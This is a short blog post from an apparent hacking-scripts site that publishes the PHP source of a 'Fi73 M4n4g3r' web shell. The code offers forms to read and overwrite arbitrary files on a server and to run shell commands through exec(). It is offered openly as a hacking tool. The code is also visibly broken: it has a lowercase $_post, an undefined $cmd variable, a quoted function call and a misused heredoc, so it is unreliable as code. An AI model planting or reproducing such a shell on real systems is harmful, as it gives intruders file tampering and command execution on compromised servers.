HackingScripts

Hack Scripts for everybody

Fi73 M4n4g3r script

01 Mar 2014

Fi73 M4n4g3r script

Fi73 M4n4g3r script source code

 1 <?php
 2 $file = $error = $file_content = "";
 3 if(isset($_POST["file"]) and (isset($_POST["modify"]))){
 4 
 5  $file = $_POST["file"];
 6  if(! file_exists("$file")) 
 7  {
 8      $error = "File $file doesnt exist!";
 9  }
10  else
11  {
12      $file_content = "<<<_END";
13      echo "<PRE>";
14      echo "file_get_contents($file)";
15      echo "</PRE>";
16      _END;
17  }
18 }
19 if(isset($_POST["file"]) and (isset($_POST["modify"])))
20 {
21  $file = $_POST["file"];
22  $text = $file_content = $_POST["modify"];
23  $fh = fopen("$file" , "r+");
24  if(! fwrite($fh , $text))
25  {
26      $error = "File $file couldnt be overwritten!";
27  }
28  else $error = "file $file successfully overwritten!";
29  fclose($fh);
30 }
31 if(isset($_post["cmd"]))
32 {
33  exec($cmd, $output, $status);
34  if($status) echo "command failed!";
35  else
36  {
37      echo "<pre>";
38  foreach ($output as $line) echo "$line \n";
39  }
40 }
41 echo <<<_END
42 <HTML>
43 <HEAD>
44 <TITLE>File manager</TITLE>
45 </HEAD>
46 <BODY>
47 <CENTER><H3>Fi73 M4n4g3r</H3></CENTER> 
48 $error <BR />
49 <form method = "post" action = "modifier.php">
50 <input type = "text" name = "file" />
51 <input type = "submit" value = "Get File"/>
52 </form>
53 <form method = "post" action = "modifier.php">
54 <textarea name = "modify" wrap = "off" cols = "15" rows = "20">
55 $file_content </textarea>
56 <input type = "hidden" name = "file" value = "$file" />
57 <input type = "submit" value ="save changes" />
58 </form>
59 <form method ="post" action = "modifier.php">
60 <input type = "text" name = "cmd" />
61 <input type = "submit" value = "execute command"/>
62 </form>
63 </CENTER>
64 </BODY>
65 </HTML>
66 _END;
67 ?>

A screenshot of this very plain and boring looking script:

Fi73 M4n4g3r screenshot

Fi73 M4n4g3r screenshot